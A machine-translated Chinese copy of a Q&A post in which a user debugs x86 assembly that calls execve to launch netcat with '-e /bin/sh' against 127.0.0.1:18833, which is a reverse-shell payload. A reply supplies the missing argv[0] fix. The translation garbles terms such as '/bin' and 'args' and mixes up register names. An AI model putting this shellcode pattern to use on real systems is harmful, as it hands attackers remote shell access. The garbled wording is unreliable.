我正在編寫一個彙編程序,需要打電話給netcat並通過互聯網執行程序。Linux Sys_execve將不會在程序集中運行
據我所知,對於execve命令,您將EBX寄存器指向要運行的程序,並在最後以空字節結束以終止。您將ECX寄存器指向由空字節分隔的參數,並在參數列表的末尾添加2個空字節。你只需將EDX設置爲一堆空字節。
在我的命令int0x80執行命令我註冊這個樣子:
EAX:11 #system致電
EBX:0x0783140#/斌// NC
ECX:0x078314a #args
EDX: 0x07831a4 #ENV
這裏的所述存儲器中的0x0783140以ASCII值:
[空字節] = 0×00
/bin中// NC [空字節] 127.0.0.1 [空字節] 18833 [空字節] -e [空字節]/bin/sh的[空字節] [空字節]
EBX指向「/斌// NC」
ECX指向‘127.0.0.1’
RDX只是點了一堆空字節
該計劃將獲得爲int 0x80的電話,但它會立即返回,並在把0xfffffff2 EAX寄存器。
任何幫助將是偉大的。
編輯:謝謝ephemient我現在能夠實際運行netcat,但不知何故,我認爲我的args沒有被程序正確讀取。我認爲這是因爲netcat運行,但立即退出並退出代碼1,並沒有建立連接到我的聽衆。
ECX現在指向該內存(請注意,我把對可讀性地址之間的空間,但他們並不在我的計劃存在):
0x78315e 0x783168 0x78316e 0x783171 0x00000000
0x78315e => 127.0.0.1[Null Byte]
0x783168 => 18833[Null Byte]
0x78316e => -e[Null Byte]
0x783171 => /root/myprogram[Null Byte]
我有四重檢查,該地址實際上指向askii值超過
感謝這麼多,那解決的netcat的問題沒有運行,但現在的ARG遊戲沒有被正確讀取。任何進一步的幫助,你可以提供將不勝感激 –
@HansDonkersloot它看起來像你缺少argv [0]。這通常是二進制文件的文件名。它應該在其餘的論點之前出現。 – ephemient